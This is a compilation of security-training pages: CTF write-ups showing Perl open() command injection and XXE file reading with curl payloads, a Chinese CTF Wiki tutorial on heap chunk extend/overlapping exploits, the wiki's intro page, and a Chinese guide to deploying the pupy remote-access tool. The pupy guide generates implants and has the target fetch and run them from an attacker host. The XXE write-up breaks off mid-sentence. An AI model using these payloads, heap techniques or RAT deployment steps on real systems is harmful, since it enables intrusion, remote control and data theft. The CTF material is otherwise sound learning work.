# I am sure this is totally secure!
open(my $fh, "logs/".$filename);
while (my $line = <$fh>) {
if (index(lc($line), lc($needle)) >= 0) {
push(@results, $line);
}
}
push(@results, {$tmpl_name, shift @elems});
```
And finally, we can guess the flag location and leak it:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001]
└─$ curl "https://aurora-web.h4ck.ctfcompetition.com/?file=../../../flag&term=solve"
https://h4ck1ng.google/solve/Y37_@N07h3r_P3r1_H@X0R
```
After solving the challenge, I was told by one of the admins that it was possible to achieve RCE on the server instead of guessing the flag location. Let's see how to do that. It turns out that one of the comments in the HTML page pointed to `src.txt`, giving us the full source code for the perl script:
```perl
use strict;
use warnings;
use utf8::all;
use CGI;
use HTML::Template;
sub files_in_dir {
my $dirname = shift;
opendir my $dir, $dirname;
my @files = grep $_ ne "." && $_ ne "..", readdir $dir;
closedir $dir;
return @files;
}
sub find_lines {
my ($filename, $needle) = @_;
my @results = ();
if (length($needle) >= 4) {
# I am sure this is totally secure!
open(my $fh, "logs/".$filename);
while (my $line = <$fh>) {
if (index(lc($line), lc($needle)) >= 0) {
push(@results, $line);
}
}
}
return @results;
}
sub list_to_tmpl {
my ($tmpl_name, @elems) = @_;
my @results = ();
while (@elems) {
push(@results, {$tmpl_name, shift @elems});
}
return \@results;
}
sub main_page {
my $tmpl = HTML::Template->new(filename => "templates/default.html");
$tmpl->param(FILES => list_to_tmpl("NAME", files_in_dir("logs")));
return $tmpl->output;
}
my $q = CGI->new;
my $pfile = $q->param("file");
if (($pfile // "") eq "") {
print $q->header(-charset => "utf-8");
print main_page;
} else {
print $q->header(-type => "text/plain", -charset => "utf-8");
print join("", find_lines($pfile, scalar $q->param("term")));
}
```
The vulnerability in the script is conveniently marked by a comment:
```perl
# I am sure this is totally secure!
open(my $fh, "logs/".$filename);
```
Apparently, perl's `open` function does not only open files, it also allows running arbitrary commands 😱! All we need to do in order to enable this feature is to append a pipe (`|`) to the input. So, we can do this for example:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001]
└─$ curl 'https://aurora-web.h4ck.ctfcompetition.com/' --data-urlencode "file=aaa; echo -n '--->' && whoami; |" -d "term=--->"
--->user
```
And obviously list the root directory or read the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001]
└─$ curl -s 'https://aurora-web.h4ck.ctfcompetition.com/' --data-urlencode "file=aaa; echo -n '****' && ls -al / | base64 -w 0 ; |" -d "term=****" | tr -d '*' | base64 -d
total 64
drwxr-xr-x 1 nobody nogroup 4096 Sep 30 09:00 .
drwxr-xr-x 1 nobody nogroup 4096 Sep 30 09:00 ..
lrwxrwxrwx 1 nobody nogroup 7 Jul 20 2020 bin -> usr/bin
drwxr-xr-x 2 nobody nogroup 4096 Apr 15 2020 boot
drwxr-xr-x 5 nobody nogroup 360 Oct 6 20:52 dev
drwxr-xr-x 47 nobody nogroup 4096 Aug 18 12:12 etc
-rw-r--r-- 1 nobody nogroup 52 Aug 18 12:08 flag
drwxr-xr-x 2 nobody nogroup 4096 Apr 15 2020 home
lrwxrwxrwx 1 nobody nogroup 7 Jul 20 2020 lib -> usr/lib
lrwxrwxrwx 1 nobody nogroup 9 Jul 20 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 nobody nogroup 9 Jul 20 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 nobody nogroup 10 Jul 20 2020 libx32 -> usr/libx32
drwxr-xr-x 2 nobody nogroup 4096 Jul 20 2020 media
drwxr-xr-x 2 nobody nogroup 4096 Jul 20 2020 mnt
drwxr-xr-x 2 nobody nogroup 4096 Jul 20 2020 opt
dr-xr-xr-x 589 nobody nogroup 0 Oct 8 19:19 proc
drwx------ 3 nobody nogroup 4096 Aug 18 12:12 root
drwxr-xr-x 8 nobody nogroup 4096 Aug 18 12:12 run
lrwxrwxrwx 1 nobody nogroup 8 Jul 20 2020 sbin -> usr/sbin
drwxr-xr-x 2 nobody nogroup 4096 Jul 20 2020 srv
drwxr-xr-x 2 nobody nogroup 4096 Apr 15 2020 sys
drwxrwxrwt 2 user user 40 Oct 8 19:19 tmp
drwxr-xr-x 14 nobody nogroup 4096 Aug 18 12:12 usr
drwxr-xr-x 11 nobody nogroup 4096 Jul 20 2020 var
drwxr-xr-x 1 nobody nogroup 4096 Sep 30 09:00 web-apps
┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP001]
└─$ curl -s 'https://aurora-web.h4ck.ctfcompetition.com/' --data-urlencode "file=aaa; echo -n '****' && cat /flag | base64 -w 0 ; |" -d "term=****" | tr -d '*' | base64 -d
https://h4ck1ng.google/solve/Y37_@N07h3r_P3r1_H@X0R
```
|
sec-knowleage
|
# Writeup Boston Key Party 2017
Team: c7f.m0d3, cr01283, akrasuski1, nazywam, shalom, msm, rev
### Table of contents
* [RSA buffet(crypto)](rsa_buffet)
* [VimJail (pwn)](vimjail)
* [Artisinal Shoutboxes (web)](cloud_200_artisinal_shoutboxes)
* [Minesweeper (crypto)](minesweeper)
* [Signed Shell Server (pwn)](signed_shell_server)
* [Slow (re)](slow)
* [Sponge (crypto)](sponge)
|
sec-knowleage
|
### Chunk Extend and Overlapping介绍
chunk extend是堆漏洞的一种常见利用手法，通过extend可以实现chunk overlapping的效果。这种利用方法需要以下的时机和条件：
* 程序中存在基于堆的漏洞
* 漏洞可以控制 chunk header 中的数据
### Chunk Extend and Overlapping原理
chunk extend技术能够产生的原因在于ptmalloc在对堆chunk进行操作时使用的各种宏。
在ptmalloc中，获取 chunk 块大小的操作如下
```
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
```
一种是直接获取 chunk 的大小，不忽略掩码部分，另外一种是忽略掩码部分。
在 ptmalloc 中，获取下一 chunk 块地址的操作如下
```
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
```
即使用当前块指针加上当前块大小。
在 ptmalloc 中，获取前一个 chunk 信息的操作如下
```
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
```
即通过malloc_chunk->prev_size获取前一块大小，然后使用本 chunk 地址减去所得大小。
在 ptmalloc，判断当前 chunk 是否是use状态的操作如下：
```
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)
```
即查看下一 chunk 的 prev_inuse 域，而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。
更多的操作详见 `堆相关数据结构` 一节。
通过上面几个宏可以看出，ptmalloc通过chunk header的数据判断chunk的使用情况和对chunk的前后块进行定位。简而言之，chunk extend就是通过控制size和pre_size域来实现跨越块操作从而导致overlapping的。
与chunk extend类似的还有一种称为chunk shrink的操作。这里只介绍chunk extend的利用。
### Chunk Extend and Overlapping基本示例1：对inuse的fastbin进行extend
简单来说，该利用的效果是通过更改第一个块的大小来控制第二个块的内容。
**注意，我们的示例都是在64位的程序。如果想在32位下进行测试，可以把8字节偏移改为4字节**。
```
int main(void)
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk
*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
free(ptr);
ptr1=malloc(0x30);// 实现 extend，控制了第二个块的内容
return 0;
}
```
当两个malloc语句执行之后，堆的内存分布如下
```
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <=== top chunk
```
之后，我们把 chunk1 的 size 域更改为 0x41，0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小。如上所示正好大小为0x40。在题目中这一步可以由堆溢出得到。
```
0x602000: 0x0000000000000000 0x0000000000000041 <=== 篡改大小
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
```
执行 free 之后，我们可以看到 chunk2 与 chunk1 合成一个 0x40 大小的 chunk，一起释放了。
```
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] ← Chunk(addr=0x602010, size=0x40, flags=PREV_INUSE)
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
```
之后我们通过 malloc(0x30) 得到 chunk1+chunk2 的块，此时就可以直接控制chunk2中的内容，我们也把这种状态称为 overlapping chunk。
```
call 0x400450 <malloc@plt>
mov QWORD PTR [rbp-0x8], rax
rax = 0x602010
```
### Chunk Extend and Overlapping基本示例2：对inuse的smallbin进行extend
通过之前深入理解堆的实现部分的内容，我们得知处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中，而不处于这个范围的 chunk 被释放后会被置于unsorted bin链表中。
以下这个示例中，我们使用 0x80 这个大小来分配堆（作为对比，fastbin 默认的最大的 chunk 可使用范围是0x70）
```
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一个 0x80 的chunk1
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并
*(int *)((int)ptr-0x8)=0xb1;
free(ptr);
ptr1=malloc(0xa0);
}
```
在这个例子中，因为分配的 size 不处于 fastbin 的范围，因此在释放时如果与 top chunk 相连会导致和top chunk合并。所以我们需要额外分配一个chunk，把释放的块与top chunk隔开。
```
0x602000: 0x0000000000000000 0x00000000000000b1 <===chunk1 篡改size域
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000021 <=== 防止合并的chunk
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk
```
释放后，chunk1 把 chunk2 的内容吞并掉并一起置入unsorted bin
```
0x602000: 0x0000000000000000 0x00000000000000b1 <=== 被放入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x00000000000000b0 0x0000000000000020 <=== 注意此处标记为空
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk
```
```
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0xb0, flags=PREV_INUSE)
```
再次进行分配的时候就会取回 chunk1 和 chunk2 的空间，此时我们就可以控制 chunk2 中的内容
```
0x4005b0 <main+74> call 0x400450 <malloc@plt>
→ 0x4005b5 <main+79> mov QWORD PTR [rbp-0x8], rax
rax : 0x0000000000602010
```
### Chunk Extend and Overlapping基本示例3：对free的smallbin进行extend
示例3是在示例2的基础上进行的，这次我们先释放 chunk1，然后再修改处于 unsorted bin 中的 chunk1 的size域。
```
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2
free(ptr);//首先进行释放，使得chunk1进入unsorted bin
*(int *)((int)ptr-0x8)=0xb1;
ptr1=malloc(0xa0);
}
```
两次 malloc 之后的结果如下
```
0x602000: 0x0000000000000000 0x0000000000000091 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51
```
我们首先释放chunk1使它进入unsorted bin中
```
unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
0x602000: 0x0000000000000000 0x0000000000000091 <=== 进入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51 <=== top chunk
```
然后篡改chunk1的size域
```
0x602000: 0x0000000000000000 0x00000000000000b1 <=== size域被篡改
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51
```
此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块，从而控制了chunk2 的内容。
### Chunk Extend/Shrink 可以做什么
一般来说，这种技术并不能直接控制程序的执行流程，但是可以控制chunk中的内容。如果 chunk 存在字符串指针、函数指针等，就可以利用这些指针来进行信息泄漏和控制执行流程。
此外通过extend可以实现chunk overlapping，通过overlapping可以控制chunk的fd/bk指针从而可以实现 fastbin attack 等利用。
### Chunk Extend and Overlapping基本示例4：通过extend后向overlapping
这里展示通过extend进行后向overlapping，这也是在CTF中最常出现的情况，通过overlapping可以实现其它的一些利用。
```
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第1个 0x80 的chunk1
malloc(0x10); //分配第2个 0x10 的chunk2
malloc(0x10); //分配第3个 0x10 的chunk3
malloc(0x10); //分配第4个 0x10 的chunk4
*(int *)((int)ptr-0x8)=0x61;
free(ptr);
ptr1=malloc(0x50);
}
```
在malloc(0x50)对extend区域重新占位后，其中0x10的fastbin块依然可以正常的分配和释放，此时已经构成overlapping，通过对overlapping的进行操作可以实现fastbin attack。
### Chunk Extend and Overlapping基本示例5：通过extend前向overlapping
这里展示通过修改pre_inuse域和pre_size域实现合并前面的块
```
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块
}
```
前向extend利用了smallbin的unlink机制，通过修改pre_size域可以跨越多个chunk进行合并实现overlapping。
|
sec-knowleage
|
# 简介
[
[
[
欢迎来到 **CTF Wiki**。
**CTF**（Capture The Flag，夺旗赛）起源于 1996 年 **DEFCON** 全球黑客大会，是网络安全爱好者之间的竞技游戏。
**CTF** 竞赛涉及众多领域，内容繁杂。与此同时，安全技术的发展速度越来越快，**CTF** 题目的难度越来越高，初学者面对的门槛越来越高。而网上资料大都零散琐碎，初学者往往并不知道该如何系统性地学习 **CTF** 相关领域知识，常需要花费大量时间，苦不堪言。
为了使得热爱 **CTF** 的小伙伴们更好地入门 **CTF**，2016 年 10 月份，**CTF Wiki** 在 Github 有了第一次 commit。随着内容不断完善，**CTF Wiki** 受到了越来越多安全爱好者的喜爱，也渐渐有素未谋面的小伙伴们参与进来。
作为一个自由的站点，围绕 **CTF** 近几年赛题，**CTF Wiki** 对 **CTF** 中的各个方向的知识和技术进行介绍，以便于初学者更好地学习 **CTF** 相关的知识。
目前，**CTF Wiki** 主要包含 **CTF** 各大范畴的基础知识，并正在着力完善以下内容
- CTF 竞赛中的进阶知识
- CTF 竞赛中的优质题目
关于上述部分待完善内容，请参见 CTF Wiki 的 [Projects](https://github.com/ctf-wiki/ctf-wiki/projects)，详细列出了正在做的事项以及待做事项。
当然，**CTF Wiki** 基于 **CTF**，却不会局限于 **CTF**。在未来，**CTF Wiki** 将会
- 介绍安全研究中的工具
- 更多地与安全实战结合
此外，鉴于以下两点
- 技术应该以开放的方式共享。
- 安全攻防技术总是在不断演进，旧的技术在面对新的技术时可能失效。
因此，**CTF Wiki** 永远不会出版书籍。
最后，**CTF Wiki** 源于社区，作为**独立的组织**，提倡**知识自由**，在未来也绝不会商业化，将始终保持**独立自由**的性质。
## Material color palette 颜色主题
### Color Scheme 配色方案
根据浏览器与系统设置自动切换明暗主题，也可手动切换
<div class="tx-switch">
<button data-md-color-scheme="default"><code>Default</code></button>
<button data-md-color-scheme="slate"><code>Slate</code></button>
</div>
<script>
var buttons = document.querySelectorAll("button[data-md-color-scheme]")
Array.prototype.forEach.call(buttons, function(button) {
button.addEventListener("click", function() {
document.body.dataset.mdColorScheme = this.dataset.mdColorScheme;
localStorage.setItem("data-md-color-scheme",this.dataset.mdColorScheme);
})
})
</script>
### Primary colors 主色
点击色块可更换主题的主色
<div class="tx-switch">
<button data-md-color-primary="red"><code>Red</code></button>
<button data-md-color-primary="pink"><code>Pink</code></button>
<button data-md-color-primary="purple"><code>Purple</code></button>
<button data-md-color-primary="deep-purple"><code>Deep Purple</code></button>
<button data-md-color-primary="indigo"><code>Indigo</code></button>
<button data-md-color-primary="blue"><code>Blue</code></button>
<button data-md-color-primary="light-blue"><code>Light Blue</code></button>
<button data-md-color-primary="cyan"><code>Cyan</code></button>
<button data-md-color-primary="teal"><code>Teal</code></button>
<button data-md-color-primary="green"><code>Green</code></button>
<button data-md-color-primary="light-green"><code>Light Green</code></button>
<button data-md-color-primary="lime"><code>Lime</code></button>
<button data-md-color-primary="yellow"><code>Yellow</code></button>
<button data-md-color-primary="amber"><code>Amber</code></button>
<button data-md-color-primary="orange"><code>Orange</code></button>
<button data-md-color-primary="deep-orange"><code>Deep Orange</code></button>
<button data-md-color-primary="brown"><code>Brown</code></button>
<button data-md-color-primary="grey"><code>Grey</code></button>
<button data-md-color-primary="blue-grey"><code>Blue Grey</code></button>
<button data-md-color-primary="white"><code>White</code></button>
</div>
<script>
var buttons = document.querySelectorAll("button[data-md-color-primary]");
Array.prototype.forEach.call(buttons, function(button) {
button.addEventListener("click", function() {
document.body.dataset.mdColorPrimary = this.dataset.mdColorPrimary;
localStorage.setItem("data-md-color-primary",this.dataset.mdColorPrimary);
})
})
</script>
### Accent colors 辅助色
点击色块更换主题的辅助色
<div class="tx-switch">
<button data-md-color-accent="red"><code>Red</code></button>
<button data-md-color-accent="pink"><code>Pink</code></button>
<button data-md-color-accent="purple"><code>Purple</code></button>
<button data-md-color-accent="deep-purple"><code>Deep Purple</code></button>
<button data-md-color-accent="indigo"><code>Indigo</code></button>
<button data-md-color-accent="blue"><code>Blue</code></button>
<button data-md-color-accent="light-blue"><code>Light Blue</code></button>
<button data-md-color-accent="cyan"><code>Cyan</code></button>
<button data-md-color-accent="teal"><code>Teal</code></button>
<button data-md-color-accent="green"><code>Green</code></button>
<button data-md-color-accent="light-green"><code>Light Green</code></button>
<button data-md-color-accent="lime"><code>Lime</code></button>
<button data-md-color-accent="yellow"><code>Yellow</code></button>
<button data-md-color-accent="amber"><code>Amber</code></button>
<button data-md-color-accent="orange"><code>Orange</code></button>
<button data-md-color-accent="deep-orange"><code>Deep Orange</code></button>
</div>
<script>
var buttons = document.querySelectorAll("button[data-md-color-accent]");
Array.prototype.forEach.call(buttons, function(button) {
button.addEventListener("click", function() {
document.body.dataset.mdColorAccent = this.dataset.mdColorAccent;
localStorage.setItem("data-md-color-accent",this.dataset.mdColorAccent);
})
})
</script>
<style>
button[data-md-color-accent]> code {
background-color: var(--md-code-bg-color);
color: var(--md-accent-fg-color);
}
button[data-md-color-primary] > code {
background-color: var(--md-code-bg-color);
color: var(--md-primary-fg-color);
}
button[data-md-color-primary='white'] > code {
background-color: var(--md-primary-bg-color);
color: var(--md-primary-fg-color);
}
button[data-md-color-accent],button[data-md-color-primary],button[data-md-color-scheme]{
width: 8.4rem;
margin-bottom: .4rem;
padding: 2.4rem .4rem .4rem;
transition: background-color .25s,opacity .25s;
border-radius: .2rem;
color: #fff;
font-size: .8rem;
text-align: left;
cursor: pointer;
}
button[data-md-color-accent]{
background-color: var(--md-accent-fg-color);
}
button[data-md-color-primary]{
background-color: var(--md-primary-fg-color);
}
button[data-md-color-scheme='default']{
background-color: hsla(0, 0%, 100%, 1);
}
button[data-md-color-scheme='slate']{
background-color: var(--md-default-bg-color);
}
button[data-md-color-accent]:hover, button[data-md-color-primary]:hover {
opacity: .75;
}
</style>
|
sec-knowleage
|
# pupy
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**项目地址**
- https://github.com/n1nj4sec/pupy
**相关文章**
- [pupy安装与使用](https://mp.weixin.qq.com/s/7VyJHHvUHITY61RC8VveOQ)
- [Pupy利用分析——Windows平台下的功能](https://3gstudent.github.io/Pupy%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90-Windows%E5%B9%B3%E5%8F%B0%E4%B8%8B%E7%9A%84%E5%8A%9F%E8%83%BD)
---
## 安装
**Docker 安装**
```bash
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
docker pull alxchk/pupy:unstable
systemctl stop systemd-resolved
# 端口映射
docker run -d --name pupy-server -p 2022:22 -p 53:53 -p 80:80 -p 443:443 -v /tmp/projects:/projects alxchk/pupy:unstable
# ssh-keygen 免交互
# yes | ssh-keygen -t rsa -N "" -C "test@email.com" -f ~/.ssh/id_rsa_pupy
# yes | ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa_pupy
yes | ssh-keygen -t rsa -N "" -C "test@email.com" -f ~/.ssh/id_rsa_pupy
cp ~/.ssh/id_rsa_pupy.pub /tmp/projects/keys/authorized_keys
# ssh首次交互免输入yes
ssh -i ~/.ssh/id_rsa_pupy -p 2022 -o stricthostkeychecking=no pupy@127.0.0.1
```
---
## 使用
**进入 pupy 后**
```bash
# remove监听器
listen -r ssl
# 监听 53 端口
listen -a ssl 53
# 生成 shell(linux)
gen -f client -O linux -A x64 connect --host x.x.x.x:53 -t ssl
# 生成 shell(windows)
gen -f client -O windows -A x64 connect --host x.x.x.x:53 -t ssl
```
```bash
# 进容器起py服务器
docker exec -it pupy-server /bin/sh
cd /projects/default/output/
python -m SimpleHTTPServer 8989
```
**目标机器上线**
```bash
curl http://x.x.x.x:8989/pupyx64.0E8pp4.lin -o test
chmod +x test
nohup ./test &
# curl http://x.x.x.x:8989/test|sh
```
**pupy 上查看**
```bash
# 成功连接后
sessions
sessions -i [id]
shell
```
|
sec-knowleage
|
# Wrestler Name Generator
Web, 150 points
## Description
> Even better than the Wu-Tang name generator, legend has it that Hulk Hogan used this app to get his name.
## Solution
We visit the attaches site and see a form:
```html
<form>
<div class="form-group">
<label style="color:white" for="exampleFormControlInput1">First Name</label>
<input type="email" class="form-control" id="firstName" placeholder="First">
</div>
<div class="form-group">
<label style="color:white" for="exampleFormControlInput1">Last Name</label>
<input type="email" class="form-control" id="lastName" placeholder="Last">
</div>
<div class="form-group">
<label style="color:white" for="exampleFormControlSelect1">Weapon of Choice</label>
<select class="form-control" id="weapon">
<option>Steel Chair</option>
<option>Flaming Table</option>
<option>Barb Wire Bat</option>
<option>Ladder</option>
<option>Thumbtacks</option>
</select>
</div>
</form>
```
Submitting the form triggers the following script:
```html
<script>
document.getElementById("button").onclick = function() {
var firstName = document.getElementById("firstName").value;
var lastName = document.getElementById("lastName").value;
var input = btoa("<?xml version='1.0' encoding='UTF-8'?><input><firstName>" + firstName + "</firstName><lastName>" + lastName+ "</lastName></input>");
window.location.href = "/generate.php?input="+encodeURIComponent(input);
};
</script>
```
The form input is translated to XML. This method might be vulnerable to XXE.
> An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.
Let's perform a simple proof of concept, taken from [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection).
We try to send the following XML:
```xml
<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<input>
<firstName>John</firstName>
<lastName>&example;</lastName>
</input>
```
If the service is vulnerable to XXE, the result will return as "John Doe".
```console
root@kali:/media/sf_CTFs/sunshine/Wrestler_Name_Generator# echo '<?xml version="1.0" ?><!DOCTYPE replace [<!ENTITY example "Doe"> ]><input><firstName>John</firstName><lastName>&example;</lastName></input>' | base64 -w 0 | curl -G "http://archive.sunshinectf.org:19007/generate.php" --data-urlencode "input=$(</dev/stdin)"
<!DOCTYPE html>
<html lang="en">
<head>
<title>Wrestler Name Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>
<div class="jumbotron text-center">
<h1>Your Wrestler Name Is:</h1>
<h2>John "The Ferocious" Doe</h2>
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
<a href="/">Go Back</a>
</div>
</body>
</html>
```
It worked!
Let's try reading a file from the server:
```console
root@kali:/media/sf_CTFs/sunshine/Wrestler_Name_Generator# cat << TEXT | base64 -w 0 | curl -G "http://archive.sunshinectf.org:19007/generate.php" --data-urlencode "input=$(</dev/stdin)"
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<input><firstName>John</firstName><lastName>&test;</lastName></input>
TEXT
<!DOCTYPE html>
<html lang="en">
<head>
<title>Wrestler Name Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>
<div class="jumbotron text-center">
<h1>Your Wrestler Name Is:</h1>
<h2>John "The Slasher" root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
</h2>
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
<a href="/">Go Back</a>
</div>
</body>
</html>
```
Looks good, we are able to read files.
What happens if we enter bad input?
```console
